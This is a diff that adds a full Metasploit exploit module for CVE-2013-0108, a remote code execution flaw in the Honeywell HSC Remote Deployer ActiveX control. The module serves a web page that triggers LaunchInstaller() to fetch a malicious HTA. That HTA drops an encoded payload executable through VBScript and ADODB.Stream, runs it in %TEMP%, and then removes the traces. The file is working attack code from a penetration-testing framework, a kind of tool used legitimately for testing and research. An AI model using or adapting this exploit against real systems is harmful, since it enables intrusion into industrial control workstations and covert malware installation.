1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = ExcellentRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::EXE
15
+
16
+ def initialize ( info = { } )
17
+ super ( update_info ( info ,
18
+ 'Name' => "Honeywell HSC Remote Deployer ActiveX Remote Code Execution" ,
19
+ 'Description' => %q{
20
+ This modules exploits a vulnerability found in the Honewell HSC Remote Deployer
21
+ ActiveX. This control can be abused by using the LaunchInstaller() function to
22
+ execute an arbitrary HTA from a remote location. This module has been tested
23
+ successfully with the HSC Remote Deployer ActiveX installed with HoneyWell EBI
24
+ R410.1.
25
+ } ,
26
+ 'License' => MSF_LICENSE ,
27
+ 'Author' =>
28
+ [
29
+ 'juan vazquez'
30
+ ] ,
31
+ 'References' =>
32
+ [
33
+ [ 'CVE' , '2013-0108' ] ,
34
+ [ 'OSVDB' , '90583' ] ,
35
+ [ 'BID' , '58134' ] ,
36
+ [ 'URL' , 'https://community.rapid7.com/community/metasploit/blog/2013/02/04/cve-2013-0108-honeywell-ebi' ] ,
37
+ [ 'URL' , 'http://ics-cert.us-cert.gov/pdf/ICSA-13-053-02.pdf' ]
38
+ ] ,
39
+ 'Payload' =>
40
+ {
41
+ 'Space' => 2048 ,
42
+ 'StackAdjustment' => -3500
43
+ } ,
44
+ 'DefaultOptions' =>
45
+ {
46
+ 'InitialAutoRunScript' => 'migrate -f -k'
47
+ } ,
48
+ 'Platform' => 'win' ,
49
+ 'Targets' =>
50
+ [
51
+ [ 'Automatic' , { } ]
52
+ ] ,
53
+ 'Privileged' => false ,
54
+ 'DisclosureDate' => "Feb 22 2013" ,
55
+ 'DefaultTarget' => 0 ) )
56
+ end
57
+
58
+ def exploit
59
+ @var_exename = rand_text_alpha ( 5 + rand ( 5 ) ) + ".exe"
60
+ @dropped_files = [
61
+ @var_exename
62
+ ]
63
+ super
64
+ end
65
+
66
+ def on_new_session ( session )
67
+ if session . type == "meterpreter"
68
+ session . core . use ( "stdapi" ) unless session . ext . aliases . include? ( "stdapi" )
69
+ end
70
+
71
+ @dropped_files . delete_if do |file |
72
+ win_file = file . gsub ( "/" , "\\ \\ " )
73
+ if session . type == "meterpreter"
74
+ begin
75
+ wintemp = session . fs . file . expand_path ( "%TEMP%" )
76
+ win_file = "#{ wintemp } \\ #{ win_file } "
77
+ session . shell_command_token ( %Q|attrib.exe -r "#{ win_file } "| )
78
+ session . fs . file . rm ( win_file )
79
+ print_good ( "Deleted #{ file } " )
80
+ true
81
+ rescue ::Rex ::Post ::Meterpreter ::RequestError
82
+ print_error ( "Failed to delete #{ win_file } " )
83
+ false
84
+ end
85
+
86
+ end
87
+ end
88
+ end
89
+
90
+ def build_hta ( cli )
91
+ var_shellobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
92
+ var_fsobj = rand_text_alpha ( rand ( 5 ) +5 ) ;
93
+ var_fsobj_file = rand_text_alpha ( rand ( 5 ) +5 ) ;
94
+ var_vbsname = rand_text_alpha ( rand ( 5 ) +5 ) ;
95
+ var_writedir = rand_text_alpha ( rand ( 5 ) +5 ) ;
96
+
97
+ var_origLoc = rand_text_alpha ( rand ( 5 ) +5 ) ;
98
+ var_byteArray = rand_text_alpha ( rand ( 5 ) +5 ) ;
99
+ var_writestream = rand_text_alpha ( rand ( 5 ) +5 ) ;
100
+ var_strmConv = rand_text_alpha ( rand ( 5 ) +5 ) ;
101
+
102
+ p = regenerate_payload ( cli ) ;
103
+ exe = generate_payload_exe ( { :code => p . encoded } )
104
+
105
+ # Doing in this way to bypass the ADODB.Stream restrictions on JS,
106
+ # even when executing it as an "HTA" application
107
+ # The encoding code has been stolen from ie_unsafe_scripting.rb
108
+ print_status ( "Encoding payload into vbs/javascript/hta..." ) ;
109
+
110
+ # Build the content that will end up in the .vbs file
111
+ vbs_content = Rex ::Text . to_hex ( %Q|
112
+ Dim #{ var_origLoc } , s, #{ var_byteArray }
113
+ #{ var_origLoc } = SetLocale(1033)
114
+ | )
115
+ # Drop the exe payload into an ansi string (ansi ensured via SetLocale above)
116
+ # for conversion with ADODB.Stream
117
+ vbs_ary = [ ]
118
+ # The output of this loop needs to be as small as possible since it
119
+ # gets repeated for every byte of the executable, ballooning it by a
120
+ # factor of about 80k (the current size of the exe template). In its
121
+ # current form, it's down to about 4MB on the wire
122
+ exe . each_byte do |b |
123
+ vbs_ary << Rex ::Text . to_hex ( "s=s&Chr(#{ ( "%d" % b ) } )\n " )
124
+ end
125
+ vbs_content << vbs_ary . join ( "" )
126
+
127
+ # Continue with the rest of the vbs file;
128
+ # Use ADODB.Stream to convert from an ansi string to it's byteArray equivalent
129
+ # Then use ADODB.Stream again to write the binary to file.
130
+ #print_status("Finishing vbs...");
131
+ vbs_content << Rex ::Text . to_hex ( %Q|
132
+ Dim #{ var_strmConv } , #{ var_writedir } , #{ var_writestream }
133
+ #{ var_writedir } = WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%") & "\\ #{ @var_exename } "
134
+
135
+ Set #{ var_strmConv } = CreateObject("ADODB.Stream")
136
+
137
+ #{ var_strmConv } .Type = 2
138
+ #{ var_strmConv } .Charset = "x-ansi"
139
+ #{ var_strmConv } .Open
140
+ #{ var_strmConv } .WriteText s, 0
141
+ #{ var_strmConv } .Position = 0
142
+ #{ var_strmConv } .Type = 1
143
+ #{ var_strmConv } .SaveToFile #{ var_writedir } , 2
144
+
145
+ SetLocale(#{ var_origLoc } )| )
146
+
147
+ hta = <<-EOS
148
+ <script>
149
+ var #{ var_shellobj } = new ActiveXObject("WScript.Shell");
150
+ var #{ var_fsobj } = new ActiveXObject("Scripting.FileSystemObject");
151
+ var #{ var_writedir } = #{ var_shellobj } .ExpandEnvironmentStrings("%TEMP%");
152
+ var #{ var_fsobj_file } = #{ var_fsobj } .OpenTextFile(#{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs",2,true);
153
+
154
+ #{ var_fsobj_file } .Write(unescape("#{ vbs_content } "));
155
+ #{ var_fsobj_file } .Close();
156
+
157
+ #{ var_shellobj } .run("wscript.exe " + #{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs", 1, true);
158
+ #{ var_shellobj } .run(#{ var_writedir } + "\\ \\ " + "#{ @var_exename } ", 0, false);
159
+ #{ var_fsobj } .DeleteFile(#{ var_writedir } + "\\ \\ " + "#{ var_vbsname } .vbs");
160
+ window.close();
161
+ </script>
162
+ EOS
163
+
164
+ return hta
165
+ end
166
+
167
+ def on_request_uri ( cli , request )
168
+ agent = request . headers [ 'User-Agent' ]
169
+
170
+ if agent !~ /MSIE \d /
171
+ print_error ( "Browser not supported: #{ agent . to_s } " )
172
+ send_not_found ( cli )
173
+ return
174
+ end
175
+
176
+ uri = ( ( datastore [ 'SSL' ] ) ? "https://" : "http://" )
177
+ uri << ( ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ] )
178
+ uri << ":#{ datastore [ 'SRVPORT' ] } "
179
+
180
+ print_status ( "Request received for #{ request . uri } " ) ;
181
+
182
+ if request . uri =~ /\/ SystemDisplays\/ RemoteInstallWelcome.hta/
183
+ hta = build_hta ( cli )
184
+ print_status ( "Sending HTA application" )
185
+ send_response ( cli , hta , { 'Content-Type' => 'application/hta' } )
186
+ return
187
+ end
188
+
189
+ html = <<-EOS
190
+ <html>
191
+ <body>
192
+ <object id="RemoteInstaller" classid="clsid:0D080D7D-28D2-4F86-BFA1-D582E5CE4867">
193
+ </object>
194
+ <script>
195
+ RemoteInstaller.LaunchInstaller("#{ uri } ", "", false);
196
+ </script>
197
+ </body>
198
+ </html>
199
+ EOS
200
+
201
+ # we need to handle direct /SystemDisplays/RemoteInstallWelcome.hta requests
202
+ proc = Proc . new do |cli , req |
203
+ on_request_uri ( cli , req )
204
+ end
205
+
206
+ add_resource ( { 'Path' => "/SystemDisplays/RemoteInstallWelcome.hta" , 'Proc' => proc } ) rescue nil
207
+
208
+ print_status ( "Sending html" )
209
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
210
+
211
+ end
212
+
213
+ end
0 commit comments